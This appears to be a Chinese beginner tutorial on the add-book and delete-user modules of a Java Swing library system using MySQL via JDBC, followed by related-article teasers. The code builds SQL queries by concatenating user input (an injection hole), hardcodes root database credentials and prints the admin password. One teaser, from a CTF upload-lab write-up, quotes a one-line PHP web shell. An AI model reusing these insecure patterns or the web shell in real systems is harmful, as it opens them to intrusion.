id='"+Main.staticdata.upid+"' ";//生成一条mysql语句 // String sql4="update t_book set bookamount='" + bookamount + "' where id='"+Main.staticdata.upid+"' ";//生成一条mysql语句 // String sql5="update t_book set booktype='" + booktype + "' where id='"+Main.staticdata.upid+"' ";//生成一条mysql语句 // 数据库连接配置 String url = "jdbc:mysql://localhost:3306/booksystem"; String user = "root"; String password = "123456"; // 表格列名 //String[] columnNames = {"ID", "BookName", "BookAuthor", "Price", "Amount", "BookType"}; // 创建表格的数据模型 //DefaultTableModel model = new DefaultTableModel(columnNames, 0); // Object[] obj = new Object[]{id, name, author, price, amount, BookType};; { try { // 加载数据库驱动 Class.forName("com.mysql.cj.jdbc.Driver"); // 建立连接 Connection con = DriverManager.getConnection(url, user, password); // 创建Statement //Statement stmt = con.createStatement(); //图书信息不能为空,测试异常 if(bookname.equals("")||bookauthor.equals("")||bookprice.equals("")||booktype.equals("")){ System.out.println("图书价格不为空"); throw new Exception();//如果信息为空抛出异常停止以后的代码执行 } //图书数量与不为0: if(bookamount < 0||bookprice.compareTo(bokamount)<0){//与声明的数量为0进行比较 throw new RuntimeException();//如果信息为空抛出异常停止以后的代码执行 } //使用PreparedStatement // 准备SQL语句 String sqladd = "INSERT INTO t_book (bookname, bookauthor, bookprice,bookamount,booktype) VALUES (?, ?, ?, ?, ?)"; PreparedStatement preparedStatement = con.prepareStatement(sqladd); // 4. 设置参数值 preparedStatement.setString(1, bookname);//为第1个问号赋值 preparedStatement.setString(2, bookauthor);//为第2个问号赋值 preparedStatement.setBigDecimal(3, bookprice);//为第3个问号赋值 preparedStatement.setInt(4, bookamount);//为第4个问号赋值 preparedStatement.setString(5, booktype);//为第5个问号赋值 int rowsAffected = preparedStatement.executeUpdate(); // int rs = stmt.executeUpdate(sql); // int rs2 = stmt.executeUpdate(sql2); // int rs3 = stmt.executeUpdate(sql3); // int rs4 = stmt.executeUpdate(sql4); // int rs5 = stmt.executeUpdate(sql5); //废弃代码残余 // if(rs3 != 1||rs4 != 1){//可有可无 ,没有作用的代码 // def(); // } if(rowsAffected == 1){//如果所有新增都成功了就执行以下代码,弹出成功窗口 System.out.println("新增图书成功");//在控制台输出"新增图书成功" if(MainAp.staticdata.countwinadd == 0){//检查成功窗口是否为一个 win(); } } // 关闭资源 // rs.close(); preparedStatement.close(); con.close(); } catch (ClassNotFoundException | SQLException e) { e.printStackTrace(); } catch (RuntimeException e) { amount(); throw new RuntimeException(e); } catch (Exception e) { throw new RuntimeException(e); } } }//updata2() end

接下来是一个图书数量价格小于0,图书数量价格为负数时,提示出的不能为负数的信息窗体

//图书数量不为负数: void amount(){ JFrame jframeamount = new JFrame(); //图书数量不为负数,提示框 //图书数量提示框修改内容: jframeamount.setSize(410, 200);//设置窗体大小 jframeamount.setTitle("数量内容不为负"); jframeamount.setLocationRelativeTo(null);//窗口居中显示 jframeamount.setResizable(false);//设置窗口是否可以改变大小 jframeamount.setLayout(null);//设置窗体布局为绝对布局 jframeamount.setVisible(true);//设置窗体可见 jframeamount.setAlwaysOnTop(true);//设置窗口前置 jLabel = new JLabel("图书数量与价格不能为负数");//实例化文本域信息,并初始化信息内容 jLabel.setFont(font2);//修改提示信息文本域的字体大小格式 jLabel.setBounds(20,15,400,55);//设置信息文本域出现的位置以及大小 jframeamount.add(jLabel);//添加文本域到此窗口 bdef = new JButton("确认信息");//实例化按钮对象并初始化按钮信息 bdef.setFont(font2);//设置按钮文字大小格式 bdef.setBounds(100,75,180,55); jframeamount.add(bdef); //按下按钮关闭窗口 bdef.addMouseListener(new MouseListener() { @Override public void mouseClicked(MouseEvent e) { //按钮单击事件 jframeamount.dispose(); } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); }

下面的一个方法是,新增图书信息成功后的成功信息提示窗体:

//修改成功后弹出的修改成功的消息窗 void win(){ MainAp.staticdata.countwinadd = 1;//本窗体是否已经存在以及只能存在一个该窗体的判断代码//此处为新增图书信息成功 JButton win;//声明一个按钮 JLabel jLabel ;//修改成功的提示 JFrame jwin = new JFrame();//创建一个窗体对象 jwin.setTitle("修改图书信息成功"); jwin.setLayout(null);//设置窗体布局管理器为绝对布局 jwin.setSize(400,280);//设置窗体大小 jwin.setLocationRelativeTo(null);//窗口居中显示 jwin.setResizable(false);//设置窗口是否可以改变大小 jLabel = new JLabel("新增图书信息成功");//实例化文本域 win = new JButton("确定");//实例化一个按钮。新增成功的按钮 win.setFont(font2);//设置按钮字体大小样式 jLabel.setFont(font2);//设置文本域字体大小样式 jLabel.setBounds(76,-28,250,200);//设置成功信息文字的大小和位置 win.setBounds(96,134,180,55);//设置确定按钮的大小和位置 jwin.add(win);//添加确认按钮到窗体 jwin.add(jLabel);//将文本域加入到成功窗体中 jwin.setVisible(true);//设置弹出的窗体可见 win.addMouseListener(new MouseListener() {//定义新增成功窗口中按钮的监听事件 @Override public void mouseClicked(MouseEvent e) {//鼠标单击事件 jwin.dispose();//jwin窗体关闭 MainAp.staticdata.countwinadd = 0;//将验证是否存在此窗口的判断重置为0,方便下次再次弹出成功信息窗口 } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //设置窗体关闭执行的代码 jwin.addWindowListener(new WindowAdapter() {//添加窗体监听器 public void windowClosing(WindowEvent e) {//窗口关闭时执行的代码 super.windowClosing(e); MainAp.staticdata.countwinadd = 0; //countup重置为0 } }); } //win end

图书新增功能类介绍完毕

P6 end

P7

P7 删除用户

创建一个删除用户的类

删除用户类的类名称为DelUser,继承了JFrame窗体类

首先声明了要使用到的组件

private String usertext;//接受删除用户ID的文本框 private String addAccount;//新注册的账号 private String addPass;//新注册账号的密码 private String account; //管理员账号字符串 private String password;//管理员密码字符串 Font font2 = new Font("Serif", Font.BOLD, 28);//设置文字大小 private JButton bse;//按钮1 重置为空信息******** private JButton bdel;//注册按钮 的声明 private JLabel jLaccount;//请输入您的账号 private JLabel jLName;//请输入您的密码 private JLabel jLaccount2;//请输入管理员的账号 private JLabel jLpass2;//请输入管理员的密码 private JTextField textField;//文本框,信息为 输入的删除账号ID private JTextField textField2;// 文本框,信息为 指定ID的账号字符串 private JTextField jAdmini;//文本框,信息为输入的管理员账号 //private JTextField textField4;//文本框,信息为输入的管理员密码 private JPasswordField jPassword;//密码文本框 管理员密码用这个

然后创建一个类方法,创建一个窗口,并将各种组件加入该窗口,在该窗口中为各种组件设置大小位置样式,为按钮添加鼠标单击事件,输入ID,即可查询用户信息,查询到用户信息后,不可用的管理员账号和管理员密码文本框可用,删除账号按钮也可用,之后输入正确的管理员账号和管理员密码,即可删除用户账号信息。

void delUser(){ MainAp.staticdata.countuserdel = 1; setTitle("删除用户信息");//设置窗口标题 setSize(500,440);//设置窗口大小 setLayout(null);//设置窗口布局 setResizable(false);//设置窗口是否可以改变大小 this.setLocationRelativeTo(null);//窗口居中显示 setVisible(true);//设置窗口可见 jLaccount = new JLabel("账号ID");//实例化账号ID文本域,并为账号文本域赋值 jLaccount.setFont(font2);//设置账号文本域的文字的大小格式 jLaccount.setBounds(30,20,220,55);//账号ID文本域的位置大小设置 jLName = new JLabel("账号为:");//实例化账号内容文本域,初始化内容为 账号为: jLName.setFont(font2);//设置密码文本域的字体大小格式 jLName.setBounds(30,95,220,55);//"账号为"文本域的位置大小设置 jLaccount2 = new JLabel("管理员账号");//实例化文本域 管理员账户文本域 jLaccount2.setFont(font2);//管理员账号文本域文字大小格式设置 jLaccount2.setBounds(0,160,220,55);//设置管理员账号文本域的位置大小 jLaccount2.setEnabled(false);//管理员账号文本域设置为不可用 jLpass2 = new JLabel("管理员密码");//实例化文本域 管理员密码文本域 jLpass2.setFont(font2);//管理员密码文本域字体大小设置 jLpass2.setBounds(0,230,220,55);//设置管理员密码文本域的位置大小 jLpass2.setEnabled(false);//管理员密码文本域设置不可用 add(jLpass2);//将“管理员密码”文本域添加到窗口 add(jLaccount2);//将“管理员账户”文本域添加到窗口 add(jLName);//将“账号为”文本域添加到窗口 add(jLaccount); //将"账号ID"文本域添加到窗口 textField = new JTextField();//实例化文本框,该文本框为 输入的账号ID textField.setFont(font2);//为文本框设置字体大小格式 textField.setBounds(150,20,280,55);//账号ID文本框的位置大小设置 textField2 = new JTextField("此框显示账号信息");//实例化“账号为”文本框,该文本框为 账号为 的账号字符 textField2.setFont(font2);//为账号字符文本框设置文字大小格式 textField2.setBounds(150,95,280,55);//账号字符文本框位置大小格式 jAdmini = new JTextField();//管理员账户文本框实例化文本框对象 jAdmini.setFont(font2);//管理员账号文本框设置字体大小格式 jAdmini.setBounds(150,160,280,55);//管理员账户文本框大小位置 jAdmini.setEnabled(false);//管理员账号框不可用 jPassword = new JPasswordField();//管理员密码文本框 实例化文本框对象 jPassword.setFont(font2);//管理员密码文本框 字体大小格式的设置 jPassword.setBounds(150,230,280,55);//管理员密码文本框大小位置 jPassword.setEnabled(false);//管理员密码框不可用 add(textField);//将账号ID文本框添加到窗口 add(textField2);//将账号为文本框添加到窗口 add(jAdmini);//将管理员账号文本框添加到窗口 add(jPassword);//将管理员密码文本框添加到窗口 bse = new JButton("查询用户");//按钮实例化,按钮为重置查询用户按钮 bse.setFont(font2);//查询用户按钮文字大小格式的设置 bse.setBounds(40,310,170,55); bdel = new JButton("删除账号");//删除账户的按钮 实例化 bdel.setFont(font2);//删除账户的按钮字体大小格式设置 bdel.setBounds(270,310,170,55); bdel.setEnabled(false);//删除账号按钮不可用设置 add(bdel);//将删除账号按钮添加到窗口中 add(bse);//将查询用户按钮添加到注册窗口中 //blog.addActionListener(listener);//给注册账号按钮添加监听事件 bdel.addMouseListener(new MouseListener() {//为删除按钮添加事件监听器 @Override public void mouseClicked(MouseEvent e) { account= gain(jAdmini);//调用此方法获取管理员账号文本框信息 System.out.println("您输入的账号为" + account);//输出管理员用户输入的账号 password = gain2(jPassword);//获取管理员密码框中的内容信息 System.out.println("您输入的密码为:" + password);//输出管理员用户输入的密码 addAccount = gain(textField);//将从新注册账号的账号文本框获取的文本信息赋值到已经声明的注册账号字符串中 addPass = gain(textField2);//将从新注册账号的密码文本框获取的文本信息赋值到已经声明的注册账号的密码字符串中 if(jdbc3(account,password)) { //管理员账号密码和数据库横纵的密码进行比对 updata3();//根据静态变量ID进行删除 } } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); repaint();//窗口重绘 bse.addMouseListener(new MouseListener() {//为重置按钮添加鼠标监听器 @Override public void mouseClicked(MouseEvent e) {//添加鼠标单击事件 usertext = gain(textField);//使用gain方法获得文本框中的内容信息并赋值给booktext updata(usertext);//获得需要查询的文本框内容并进行数据库查找,查找书籍的ID textField2.setText(MainAp.staticdata.user);//修改文本框内容,内容为要修改的书籍名称 if(MainAp.staticdata.user != ""){ //当静态字符串bokname2不为空,bokname2有内容时进行此判断 bdel.setEnabled(true);//修改"修改图书信息"按钮进入激活可按状态 jLaccount2.setEnabled(true);//管理员账号文本域设置为不可用 jLpass2.setEnabled(true);//管理员密码文本域设置不可用 jAdmini.setEnabled(true);//管理员账号框激活可用 jPassword.setEnabled(true);//管理员密码框激活可用 } } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //设置窗体关闭执行的代码 addWindowListener(new WindowAdapter() {//添加窗体监听器 public void windowClosing(WindowEvent e) {//窗口关闭时执行的代码 super.windowClosing(e); MainAp.staticdata.countuserdel = 0; //countup重置为0 } }); }//delUser()方法 end

根据ID查询用户ID和用户字符串,并将用户ID存储进静态变量中,方便删除时使用

//复制的代码, void updata(String search) {//传入要查询的ID,进行数据库查询,并显示 //String sql2 = "SELECT * FROM t_book WHERE bookname LIKE '%" + search + "%'"; //String sql2 = "SELECT * FROM t_book WHERE bookname LIKE '" + search + "'"; //String sql2 = "select id form t_book where id = ?"; //SELECT 字段1,字段2,... from 表名 where name like '%豪' String sql2 = "select id,username from t_user where id LIKE'" + search + "'"; // 数据库连接配置 String url = "jdbc:mysql://localhost:3306/booksystem"; String user = "root"; String password = "123456"; { try { // 加载数据库驱动 Class.forName("com.mysql.cj.jdbc.Driver"); // 建立连接 Connection con = DriverManager.getConnection(url, user, password); // 创建Statement Statement stmt = con.createStatement(); ResultSet rs = stmt.executeQuery(sql2); // 遍历结果集 while (rs.next()) { // 根据列名获取数据 int id = rs.getInt("id");//前面声明的id用于后续代码,括号中的ID为数据库表中的列名 String username = rs.getString("username");//前面声明的username用于后续代码,括号中的username为数据库表中的列名 System.out.println(id); MainAp.staticdata.deid3 = id;//查询到的id 写入到静态类的属性中这里是deid3 System.out.println(user); MainAp.staticdata.user = username;//这里是username。查询到的书名写入到静态类的属性user中 } // 关闭资源 rs.close(); stmt.close(); con.close(); } catch (ClassNotFoundException | SQLException e) { e.printStackTrace(); } } }//updata() end

获取管理员账号和管理员密码文本框中的内容:

//工具类,复制的代码,用于获取文本框中的内容 private String gain(JTextField textField) {//获取文本框中的文本信息的方法 String text = textField.getText();//获取文本框中的内容信息 //System.out.println("获取文本框内容");//提示信息 return text;//返回框中的内容 } String gain2(JPasswordField jPassword) {//获取密码文本框中的内容 char[] text = jPassword.getPassword();//获取密码框字符数集 String password = String.valueOf(text);//将字符数集转化为字符串 return password;//返回密码框中的内容 }

按下"删除账号"即可根据传入的ID删除该ID下的用户账号信息

根据ID删除用户账号的方法如下:

void updata3() {//删除数据库信息的方法,传入要删除的数据信息,根据静态变量ID查找 String sql="delete from t_user where id='"+ MainAp.staticdata.deid3+"' ";//生成一条mysql语句 // 数据库连接配置 String url = "jdbc:mysql://localhost:3306/booksystem"; String user = "root"; String password = "123456"; try { // 加载数据库驱动 Class.forName("com.mysql.cj.jdbc.Driver"); // 建立连接 Connection con = DriverManager.getConnection(url, user, password); // 创建Statement Statement stmt = con.createStatement(); int rs = stmt.executeUpdate(sql); if(rs == 1){//如果所有删除成功了就执行以下代码,弹出成功窗口 System.out.println("删除成功");//在控制台输出"修改成功" if(MainAp.staticdata.countuserdelwin == 0){//检查成功窗口是否为一个 win(); } } // 关闭资源 // rs.close(); stmt.close(); con.close(); } catch (ClassNotFoundException | SQLException e) { e.printStackTrace(); } }//updata2() end

接下来的代码用来提示删除用户信息成功:

//删除成功后弹出的删除成功的消息窗 void win(){ MainAp.staticdata.countuserdelwin = 1;//本窗体是否已经存在以及只能存在一个该窗体的判断代码 JButton win;//声明一个按钮 JLabel jLabel ;//删除成功的提示 JFrame jwin = new JFrame();//创建一个窗体对象 jwin.setTitle("删除用户信息成功"); jwin.setLayout(null);//设置窗体布局管理器为绝对布局 jwin.setSize(400,280);//设置窗体大小 jwin.setLocationRelativeTo(null);//窗口居中显示 jwin.setResizable(false);//设置窗口是否可以改变大小 jLabel = new JLabel("删除用户信息成功");//实例化文本域 win = new JButton("确定");//实例化一个按钮 win.setFont(font2);//设置按钮字体大小样式 jLabel.setFont(font2);//设置文本域字体大小样式 jLabel.setBounds(76,-28,250,200);//设置成功信息文字的大小和位置 win.setBounds(96,134,180,55);//设置确定按钮的大小和位置 jwin.add(win);//添加确认按钮到窗体 jwin.add(jLabel);//将文本域加入到成功窗体中 jwin.setVisible(true);//设置弹出的窗体可见 win.addMouseListener(new MouseListener() {//定义删除成功窗口中按钮的监听事件 @Override public void mouseClicked(MouseEvent e) {//鼠标单击事件 MainAp.staticdata.countuserdelwin = 0;//将验证是否存在此窗口的判断重置为0,方便下次再次弹出成功信息窗口 jwin.dispose();//jwin窗体关闭 } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //设置窗体关闭执行的代码 jwin.addWindowListener(new WindowAdapter() {//添加窗体监听器 public void windowClosing(WindowEvent e) {//窗口关闭时执行的代码 super.windowClosing(e); MainAp.staticdata.countuserdelwin = 0; //countup重置为0 } }); } //win end

再接下来的代码为,比较用户输入的管理员账号和管理员密码是否与数据库表t_admini表中的管理员账号和管理员密码一致,用户输入的管理员账号和管理员密码和数据库表中的管理员账号密码一样,即可删除用户账号成功

//以下代码为复制粘贴内容,源码在Enter中,有所更改,while循环变为if, //作用为让传入的账号密码和数据库中的账号密码进行比较 boolean jdbc3(String account,String password){//定义jdbc连接数据库方法 // JDBC驱动程序名称及URL String driver = "com.mysql.cj.jdbc.Driver"; String url = "jdbc:mysql://localhost:3306/booksystem"; // 数据库登录信息 String username = "root"; String Password = "123456"; Connection conn = null; Statement stmt = null; ResultSet rs = null; try { //2.注册驱动 Class.forName(driver); //3.获取数据库连接对象 conn = DriverManager.getConnection(url,username,Password); //5.获取执行sql的对象 Statement,创建Statement对象 stmt = conn.createStatement(); //执行sql String sql = "SELECT admini,admpass FROM t_admini";//sql语句 rs = stmt.executeQuery(sql);//获取查询语句执行结果 while (rs.next()) {//查询结果rs遍历,循环输出 String name = rs.getString("admini");//获取从数据库查询到的用户信息至name属性 String password2 =rs.getString("admpass");//获取从数据库查询到的密码信息至password2属性 //此处为判断传进来的账号密码信息是否与查询数据库中信息是否一致 //password2接受了数据库中的密码信息,与传参进来的password进行比较 //account为传参进来的账号信息,与数据库查询到的账号信息name进行比较 if(password2.equals(password)&&account.equals(name)) {//如果用户输入的管理员密码与数据库中的管理员密码相同进入此if中 System.out.println("管理员账号登录成功");//提示用户登录成功 System.out.println("管理员密码password:" + password2);//输出用户输入的正确密码 return true;//返回ture } } System.out.println("登录失败,请重新输入");//账号密码为空或输如的账号密码不在数据库中,输出此警告信息 return false;//信息不正确,返回false,以便其它循环条件的使用 } catch (SQLException | ClassNotFoundException e) { e.printStackTrace();//打印异常信息 }finally { try { if (stmt!=null){//如果stmt不为空,释放此资源 //8.释放资源 stmt.close(); //关闭Statement对象 } } catch (SQLException throwables) {//出现异常后执行的代码 throwables.printStackTrace();//打印异常信息 } try { if (conn!=null){//如果conn不为空,释放此资源 conn.close();//关闭数据库连接对象 } } catch (SQLException throwables) {//出现异常后执行的代码 throwables.printStackTrace();//抛出异常信息 } } return false; }//JDBC end

完结撒花!~

P7 end 完结撒花

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1578364.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

拥有自己的云环境-域名及备案

序 唠叨两句 之前的文章&#xff0c;讲了如何购买一台云服务器&#xff0c;然后购买之后&#xff0c;如何操作云服务器。当买完云服务器之后&#xff0c;我们就可以使用云服务器提供的公网ip&#xff0c;访问到我们的服务器上。但是&#xff0c;这样怎么能体现我们一个老程序…

Hybrid混合开发 和 Android平台JSBridge的原理

书接上篇&#xff1a;移动端研发技术的进化历程 纯原生开发主要面临动态化和开发成本两个问题&#xff0c;而针对这两个问题&#xff0c;诞生了一些跨平台的动态化框架。 针对原生开发面临的问题&#xff0c;业界一直都在努力寻找好的解决方案&#xff0c;而时至今日&#xf…

【深度学习】图像风格混合——StyleGAN原理解析

1、前言 上一篇&#xff0c;我们讲了PGGAN的模型原理&#xff0c;本章我们就来讲解一下StyleGAN&#xff0c;这个模型能够自由控制图像的风格&#xff0c;细节变化等等&#xff0c;生成用户想要的图像&#xff0c;甚至从某种程度上说&#xff0c;其可以实现AI换脸。 PS&#…

[StartingPoint][Tier1]Pennyworth

Important Jenkins是一个用于自动化构建、测试和部署软件项目的开源持续集成和持续部署&#xff08;CI/CD&#xff09;工具。它允许开发团队自动执行和监控在软件开发过程中的重复性任务&#xff0c;例如构建代码、运行测试、部署应用程序等。Jenkins提供了一个易于使用的Web界…

ST表的解释

介绍 ST表&#xff1a;一种用于高效处理区间查询的数据结构。它可以在O(1)的时间复杂度内回答某一区间的最值查询&#xff08;最小值、最大值等&#xff09;。ST表使用动态规划的思想&#xff0c;通过预处理的方式来快速计算出各个区间的最值。 st算法的主要思想就是将所求的…

为什么 MySQL 采用 B+ 树作为索引?

资料来源 : 小林coding 小林官方网站 : 小林coding (xiaolincoding.com) 「为什么 MySQL 采用 B 树作为索引&#xff1f;」这句话&#xff0c;是不是在面试时经常出现。 要解释这个问题&#xff0c;其实不单单要从数据结构的角度出发&#xff0c;还要考虑磁盘 I/O 操作次数&am…

【操作系统】python实现银行家算法

银行家算法是最具有代表性的避免死锁的算法。 1、算法原理 银行家算法&#xff1a;当一个新进程进入系统时&#xff0c;该进程必须申明在运行过程中所需要的每种资源的最大数目&#xff0c;且该数目不能超过系统拥有的资源总量。当进程请求某组资源时&#xff0c;系统必须先确…

Enzo Life Sciences--17β-Estradiol high sensitivity ELISA kit

高灵敏ELISA试剂盒&#xff0c;可检测到低至14 pg/ml的17β-雌二醇 雌二醇(estradiol) 是由卵巢内卵泡的颗粒细胞分泌的类固醇激素&#xff0c;是主要的雌激素&#xff0c;负责调节女性特征、附属性器官的成熟和月经-排卵周期&#xff0c;促进乳腺导管系统的产生&#xff0c;有…

机器人客户端如何配置同步消息至多个群中

大家好&#xff0c;我是雄雄&#xff0c;欢迎关注微信公众号&#xff1a;雄雄的小课堂。 前言 由于微信群的人数&#xff0c;最多是500人&#xff0c;如果有人的业务做的大&#xff0c;可能会同步创建好多个群&#xff0c;但是资料的不想多个群一起发&#xff0c;发给某个群&a…

产品经理和项目经理的区别

1. 前言 本文深入探讨了产品经理与项目经理在职责、关注点以及所需技能方面的显著区别。产品经理主要负责产品的规划、设计和市场定位,强调对用户需求的深刻理解和产品创新的推动;而项目经理则侧重于项目的执行、进度控制和资源管理,确保项目按时、按质、按预算完成。两者在…

[大模型]大语言模型量化方法对比:GPTQ、GGUF、AWQ

在过去的一年里&#xff0c;大型语言模型(llm)有了飞速的发展&#xff0c;在本文中&#xff0c;我们将探讨几种(量化)的方式&#xff0c;除此以外&#xff0c;还会介绍分片及不同的保存和压缩策略。 说明&#xff1a;每次加载LLM示例后&#xff0c;建议清除缓存&#xff0c;以…

[BT]BUUCTF刷题第13天(4.1)

第13天 Upload-Labs-Linux (Basic) Pass-01 根据题目提示&#xff0c;该题为绕过js验证。 一句话木马&#xff1a; <?php eval(system($_POST["cmd"]));?> // 符号 表示后面的语句即使执行错误&#xff0c;也不报错。 // eval() 把括号内的字符串全部…

「每日跟读」英语常用句型公式 第6篇

「每日跟读」英语常用句型公式 第6篇 1. As ___ as possible 越 ___ 越好 As soon as possible (ASAP)(越快越好) As happy as possible (越快乐越好) As prepared as possible (越有准备越好) As much/many as possible (越多越好 *不可数/可数) As early as possible …

一款轻量、干净的 Laravel 后台管理框架

系统简介 ModStart 是一个基于 Laravel 的模块化快速开发框架。模块市场拥有丰富的功能应用&#xff0c;支持后台一键快速安装&#xff0c;让开发者能快的实现业务功能开发。 系统完全开源&#xff0c;基于 Apache 2.0 开源协议&#xff0c;免费且不限制商业使用。 系统特性 …

Chatgpt掘金之旅—有爱AI商业实战篇|内容策展业务|(八)

演示站点&#xff1a; https://ai.uaai.cn 对话模块 官方论坛&#xff1a; www.jingyuai.com 京娱AI 一、AI技术创业内容策展业务有哪些机会&#xff1f; 人工智能&#xff08;AI&#xff09;技术作为当今科技创新的前沿领域&#xff0c;为创业者提供了广阔的机会和挑战。随着…

017——DS18B20驱动开发(基于I.MX6uLL)

目录 一、 模块介绍 1.1 简介 1.2 主要特点 1.3 存储器介绍 1.4 时序 1.5 命令 1.5.1 命令大全 1.5.2 命令使用 1.5.3 使用示例 1.6 原理图 二、 驱动程序 三、 应用程序 四、 测试 一、 模块介绍 1.1 简介 DS18B20 温度传感器具有线路简单、体积小的特点&…

HarmonyOS 应用开发-边缓存边播放案例

介绍 OhosVideoCache是一个支持边播放边缓存的库&#xff0c;只需要将音视频的url传递给OhosVideoCache处理之后再设置给播放器&#xff0c; OhosVideoCache就可以一边下载音视频数据并保存在本地&#xff0c;一边读取本地缓存返回给播放器&#xff0c;使用者无需进行其他操作…

window环境运行nacos源码

为了研究一下nacos,所以从git上下载了nacos源码并且启动。 1.首先下载源码 git地址&#xff1a;https://github.com/alibaba/nacos.git 2.使用ideal打开源码 nacos的启动通过nacos-console模块执行。 3.修改为单机启动模式 Nacos默认启动是集群模式&#xff0c;单机模式需…

微服务面试题二

1.什么是雪崩 微服务之间相互调用&#xff0c;因为调用链中的一个服务故障&#xff0c;引起整个链路都无法访问的情况。 如何解决雪崩&#xff1f; 超时处理&#xff1a;请求超时就返回错误信息&#xff0c;不会无休止等待仓壁模式&#xff1a;限定每个业务能使用的线程数&a…

【三维重建工具】NeRFStudio、3D GaussianSplatting、Colmap安装与使用指南(更新中)

目录 一、NeRFStudio安装1.安装&#xff08;ubuntu系统&#xff09;2.安装&#xff08;windows系统&#xff09; 二、安装tinycudann三、Colmap安装与使用1. 安装依赖2. 安装colmap3.使用colmap3.1 可视化界面使用3.2 Nerfstudio命令行调用Colmap 四、使用NeRFStudio进行三维重…